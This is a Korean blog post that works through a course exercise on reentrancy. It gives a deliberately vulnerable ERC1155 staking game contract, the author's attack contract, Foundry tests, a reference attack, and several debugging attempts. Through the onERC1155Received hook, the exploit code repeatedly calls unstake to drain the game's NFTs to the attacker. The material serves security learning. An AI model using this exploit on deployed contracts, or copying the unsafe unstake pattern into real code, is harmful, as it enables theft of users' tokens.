[SCH] Smart Contract Hacking 14편 - ReEntrancy 4

0xDave·2023년 4월 16일
0

Ethereum

목록 보기
106/112
post-thumbnail

Task1


// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.13;

import { IERC1155 } from "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import { IERC1155Receiver } from "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";

contract CryptoEmpireGame is IERC1155Receiver {

    IERC1155 public immutable cryptoEmpireToken;
    
    struct Listing {
        address payable seller;
        address buyer;
        uint256 nftId;
        uint256 price;
        bool isSold;
    }

    mapping(address => mapping(uint256 => bool)) public stakedNfts;
    mapping(uint256 => Listing) public listings;

    uint256 public numberOfListings;
    uint256 public constant AMOUNT = 1;

    constructor(address _cryptoEmpireToken) {
        cryptoEmpireToken = IERC1155(_cryptoEmpireToken);
    }

    // List an item fro sale (AMOUNT / quantity is always 1)
    function listForSale(uint256 _nftId, uint256 _price) external {

        require(cryptoEmpireToken.balanceOf(msg.sender, _nftId) > 0, "You don't own this NFT");
        require(_price > 0, "Price should be greater than 0");

        ++numberOfListings;

        cryptoEmpireToken.safeTransferFrom(msg.sender, address(this), _nftId, AMOUNT, "");
        Listing storage listing = listings[numberOfListings];
        listing.seller = payable(msg.sender);
        listing.nftId = _nftId;
        listing.price = _price;
    }

    // Buy a listed item
    function buy(uint256 _listingId) payable external {

        Listing storage listing = listings[_listingId];

        require(listing.seller != address(0), "Listing doesn't exist wrong");
        require(!listing.isSold, "Already sold");
        require(msg.value == listing.price, "Wrong price");

        listing.buyer = msg.sender;
        listing.isSold = true;

        cryptoEmpireToken.safeTransferFrom(address(this), msg.sender, listing.nftId, AMOUNT, "");

        (bool success, ) = listing.seller.call{value: msg.value}("");
        require(success, "Failed to send Ether");
    }

    // Stake NFTs
    function stake(uint256 _nftId) external {

        require(cryptoEmpireToken.balanceOf(msg.sender, _nftId) > 0, "You don't own this NFT");
        require(!stakedNfts[msg.sender][_nftId], "NFT with the same tokenID cannot be staked again");
        
        cryptoEmpireToken.safeTransferFrom(msg.sender, address(this), _nftId, AMOUNT, "");
        stakedNfts[msg.sender][_nftId] = true;
    }

    // Unstake NFTs
    function unstake(uint256 _nftId) external {

        require(stakedNfts[msg.sender][_nftId], "You haven't staked this NFT");

        cryptoEmpireToken.safeTransferFrom(address(this), msg.sender, _nftId, AMOUNT, "");
        stakedNfts[msg.sender][_nftId] = false;
    }

    function onERC1155Received(
        address,
        address,
        uint256,
        uint256,
        bytes calldata 
    ) external pure returns (bytes4) {
        return this.onERC1155Received.selector;
    }

    function onERC1155BatchReceived(
        address,
        address,
        uint256[] calldata,
        uint256[] calldata,
        bytes calldata 
    ) external pure returns (bytes4) {
        return this.onERC1155BatchReceived.selector;
    }

    function supportsInterface(bytes4) external pure returns (bool) {
        return true;
    }
}

onERC1155Received hook을 이용해서 스테이킹 했던 NFT를 언스테이킹할 때 unstake() 함수를 계속 호출하면 같은 id의 NFT를 다 가져올 수 있지 않을까?


공격 컨트랙트 짜기


// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.13;

import {IERC1155} from "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "@openzeppelin/contracts/access/Ownable.sol";


interface ICryptoEmpireGame{
    function stake(uint256 _nftId) external;
    function unstake(uint256 _nftId) external;
}

contract AttackCryptoEmpire is Ownable {

    IERC1155 public cryptoEmpireToken;
    ICryptoEmpireGame public cryptoEmpireGame;

    address attacker;
    uint256 nftId;
    uint256 reentrant;

    constructor(address _cryptoEmpireToken,address _cryptoEmpireGame) {
        cryptoEmpireToken = IERC1155(_cryptoEmpireToken);
        cryptoEmpireGame = ICryptoEmpireGame(_cryptoEmpireGame);
        attacker = msg.sender;
    }

    function stake(uint256 _nftId) public {
        IERC1155(cryptoEmpireToken).setApprovalForAll(address(cryptoEmpireGame), true);
        cryptoEmpireGame.stake(_nftId);
    }

    function attack(uint256 _nftId) external {
        nftId = _nftId;
        stake(nftId);
        cryptoEmpireGame.unstake(nftId);
    }

    function onERC1155Received(
        address,
        address,
        uint256,
        uint256,
        bytes calldata 
    ) external returns (bytes4) {
        ++reentrant;
        if (1 < reentrant && reentrant < 20) {
            cryptoEmpireGame.unstake(nftId);
        } else if (reentrant >= 20) {
            cryptoEmpireToken.safeTransferFrom(address(this), attacker, 2, 20, "");
        }
        return this.onERC1155Received.selector;
    } 

}

총 20개의 nft를 반복해서 unstake 하도록 했다. 이후 모든 nft를 가져오면 attacker 주소로 전송!


테스트코드 짜기


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../../src/reentrancy-4/AttackCryptoEmpire.sol";
import "../../src/reentrancy-4/CryptoEmpireGame.sol";
import "../../src/reentrancy-4/CryptoEmpireToken.sol";
import "../../src/reentrancy-4/GameItems.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";

/**
@dev run "forge test --fork-url $ETH_RPC_URL --fork-block-number 15969633 --match-contract RE4 -vvv" 
*/


contract TestRE4 is Test {

    AttackCryptoEmpire attackCrptoEmpire;
    CryptoEmpireGame cryptoEmpireGame;
    CryptoEmpireToken public cryptoEmpireToken;
    // GameItems gameItems;

    address deployer;
    address user1;
    address user2;
    address attacker;


    function setUp() public {
        deployer = address(1);
        user1 = address(2);
        user2 = address(3);
        attacker = address(4);

        //디플로이 & 민팅
        vm.startPrank(deployer);
        cryptoEmpireToken = new CryptoEmpireToken();
        cryptoEmpireToken.mint(deployer, 20, 2);
        cryptoEmpireGame = new CryptoEmpireGame(address(cryptoEmpireToken));
        vm.stopPrank();

        assertEq(IERC1155(cryptoEmpireToken).balanceOf(deployer, 2), 20);

        vm.startPrank(attacker);
        attackCrptoEmpire = new AttackCryptoEmpire(address(cryptoEmpireToken), address(cryptoEmpireGame));
        vm.stopPrank();

        //NFT 전송
        vm.startPrank(deployer);
        cryptoEmpireToken.safeTransferFrom(deployer, address(cryptoEmpireGame), 2, 17, "");
        cryptoEmpireToken.safeTransferFrom(deployer, user1, 2, 1, "");
        cryptoEmpireToken.safeTransferFrom(deployer, user2, 2, 1, "");
        cryptoEmpireToken.safeTransferFrom(deployer, address(attackCrptoEmpire), 2, 1, "");
        vm.stopPrank();

        assertEq(IERC1155(cryptoEmpireToken).balanceOf(address(cryptoEmpireGame), 2), 17);
        assertEq(IERC1155(cryptoEmpireToken).balanceOf(user1, 2), 1);
        assertEq(IERC1155(cryptoEmpireToken).balanceOf(user2, 2), 1);
        assertEq(IERC1155(cryptoEmpireToken).balanceOf(address(attackCrptoEmpire), 2), 1);

    }

    function test_staking() public {
        vm.startPrank(user1);
        IERC1155(cryptoEmpireToken).setApprovalForAll(address(cryptoEmpireGame), true);
        cryptoEmpireGame.stake(2);
        vm.stopPrank();

        vm.startPrank(user2);
        IERC1155(cryptoEmpireToken).setApprovalForAll(address(cryptoEmpireGame), true);
        cryptoEmpireGame.stake(2);
        vm.stopPrank();

        assertEq(IERC1155(cryptoEmpireToken).balanceOf(address(cryptoEmpireGame), 2), 19);
        assertEq(IERC1155(cryptoEmpireToken).balanceOf(user1, 2), 0);
        assertEq(IERC1155(cryptoEmpireToken).balanceOf(user2, 2), 0);
        assertEq(IERC1155(cryptoEmpireToken).balanceOf(address(attackCrptoEmpire), 2), 1);
    
    }

    function test_attack() public {
        vm.startPrank(attacker);
        attackCrptoEmpire.attack(2);
        vm.stopPrank();

        assertEq(IERC1155(cryptoEmpireToken).balanceOf(address(cryptoEmpireGame), 2), 0);
        assertEq(IERC1155(cryptoEmpireToken).balanceOf(user1, 2), 0);
        assertEq(IERC1155(cryptoEmpireToken).balanceOf(user2, 2), 0);
        assertEq(IERC1155(cryptoEmpireToken).balanceOf(attacker, 2), 20);
    }

}

총 20개를 민팅해서 17개는 cryptoEmpireGame 주소로 보내고, 각 user에게는 1개씩, 공격 컨트랙트에게는 1개만 보내도록 했다. 이후 스테이킹이 잘 되는지 확인하고 마지막에 공격을 실행한 이후 NFT 갯수를 확인하는 식으로 코드를 작성했다.

열심히 작성했지만 결과는 fail.. 다음과 같은 에러가 뜨면서 테스트에 실패했다. 조금씩 수정도 해보면서 계속 시도했지만 같은 에러가 났었다.

[FAIL. Reason: ERC1155: insufficient balance for transfer]

어떤 부분이 잘못됐는지 확인해보자.


모범답안


공격컨트랙트

interface ICryptoEmpire {
    function stake(uint256 _nftId) external;

    function unstake(uint256 _nftId) external;
}

contract AttackCryptoEmpire is Ownable {
    IERC1155 private immutable token;
    ICryptoEmpire private immutable game;
    bool private tokenTransfered = false;

    constructor(address _token, address _game) {
        token = IERC1155(_token);
        game = ICryptoEmpire(_game);
    }

    function attack() external onlyOwner {
        // Stake the token
        token.setApprovalForAll(address(game), true);
        game.stake(2);
        // Unstake
        game.unstake(2);
    }

    // Receive a callback
    // Unstake again until we got all tokens (tokenId 2)
    function onERC1155Received(
        address /*operator*/,
        address /*from*/,
        uint256 id,
        uint256 /*amount*/,
        bytes calldata /*data*/
    ) external returns (bytes4 response) {
        if (!tokenTransfered) {
            tokenTransfered = true;
            return this.onERC1155Received.selector;
        }

        require(msg.sender == address(token), "wrong call");

        uint256 gameBalance = token.balanceOf(address(game), 2);

        if (gameBalance > 0) {
            token.safeTransferFrom(address(this), owner(), id, 1, "");
            game.unstake(2);
        }

        return this.onERC1155Received.selector;
    }
}

차이점

  1. 처음에 attacker가 공격 컨트랙트로 NFT를 보낼 때 tokenTransfered 값을 true로 바꾼 직후 바로 return을 통해 함수가 종료되게 했다. -> 내가 시도 했던 방법은 reentrant가 1일 때 if문을 건너뀌어서 바로 return되게 만들었었다. bool을 이용해서 스위칭하는 것도 좋은 방법인 것 같다.

  2. onERC1155Received 함수에서 safeTransferFrom()을 먼저 호출한 다음에 unstake()를 호출했다. -> 나중에 한 번에 transfer 하는 것이 아니라 하나씩 transfer 한 직후 unstake 함으로써 공격 컨트랙트에 결국 1개의 NFT가 남도록 했다.

  3. 이 때 reentrant 횟수를 카운트 하지 않고 단순히 게임 컨트랙트가 갖고 있는 nft balance를 기준으로 조건문을 만들었다.


테스트 코드

contract TestRE4 is Test {
    CryptoEmpireToken token;
    CryptoEmpireGame game;
    AttackCryptoEmpire attackgame;

    address deployer;
    address user1;
    address user2;
    address attacker;

    function setUp() public {
        deployer = address(1);
        user1 = address(2);
        user2 = address(3);
        attacker = address(4);

        vm.startPrank(deployer);
        token = new CryptoEmpireToken();
        game = new CryptoEmpireGame(address(token));

        // Giving 1 NFT to each user
        token.mint(user1, 1, NftId.HELMET);
        token.mint(user2, 1, NftId.HELMET);
        token.mint(attacker, 1, NftId.ARMOUR);

        // The CryptoEmpire game gained many users already and has some NFTs either staked or listed in it
        token.mint(address(game), 20, NftId.HELMET);
        token.mint(address(game), 20, NftId.SWORD);
        token.mint(address(game), 20, NftId.ARMOUR);
        token.mint(address(game), 20, NftId.SHIELD);
        token.mint(address(game), 20, NftId.CROSSBOW);
        token.mint(address(game), 20, NftId.DAGGER);

        vm.stopPrank();
    }

    function test_Attack() public {
        vm.startPrank(attacker);
        attackgame = new AttackCryptoEmpire(address(token), address(game));
        token.safeTransferFrom(attacker, address(attackgame), 2, 1, "0x");
        attackgame.attack();
        vm.stopPrank();
    }
}

차이점

  1. 변수를 간단히 설정해서 보기 편하다.
  2. 각 아이템을 20개씩 추가로 민팅했다.(각 id당 20개씩 민팅해야 하는 거 아닌가?)

그 외에 공격 컨트랙트로 id가 2인 NFT 1개를 보내고 attack()을 호출하는 것은 동일하다.


2차 시도


게임 컨트랙트의 balance를 기준으로 하면 내가 기존에 작성했던 테스트는 통과할 수 있을까?

    function onERC1155Received(
        address,
        address,
        uint256,
        uint256,
        bytes calldata 
    ) external returns (bytes4) {

        if (!tokenTransfered) {
            tokenTransfered = true;
            return this.onERC1155Received.selector;
        }

        uint256 gameBalance = cryptoEmpireToken.balanceOf(address(cryptoEmpireGame), 2);

        if (gameBalance > 0) {
            cryptoEmpireGame.unstake(nftId);
        } else {
            cryptoEmpireToken.safeTransferFrom(address(this), attacker, 2, 20, "");
        }
        return this.onERC1155Received.selector;
    } 

요런 식으로 기존과 동일하게 한 번에 NFT를 전송하도록 했다.


같은 에러가 나오면서 실패.

[FAIL. Reason: ERC1155: insufficient balance for transfer]

3차 시도


모범답안과 동일하게 수정했다.

    function onERC1155Received(
        address,
        address,
        uint256,
        uint256,
        bytes calldata 
    ) external returns (bytes4) {

        if (!tokenTransfered) {
            tokenTransfered = true;
            return this.onERC1155Received.selector;
        }

        require(msg.sender == address(cryptoEmpireToken), "wrong call");

        uint256 gameBalance = cryptoEmpireToken.balanceOf(address(cryptoEmpireGame), 2);

        if (gameBalance > 0) {
            cryptoEmpireToken.safeTransferFrom(address(this), owner(), 2, 1, "");
            cryptoEmpireGame.unstake(2);
        }

        return this.onERC1155Received.selector;
    }

reentrancy attack은 성공했다. 그런데 user1,2가 스테이킹 했던 nft는 가져올 수 없었다. 모범답안에서 테스트 코드를 작성한 것을 보면 다른 id로 민팅했기 때문에 내가 작성한 방향과는 조금 다르다. 해당 원인은 테스트 코드를 나눠서 작성했기 때문이었다. test_staking()에서 user1,2가 각자 nft를 스테이킹 하게 했었는데 이게 test_attack()으로 넘어가면서 적용이 안 되는 것 같다.

test_staking()의 코드를 setUp()에 포함시켰더니 통과했다!

profile
Just BUIDL :)

0개의 댓글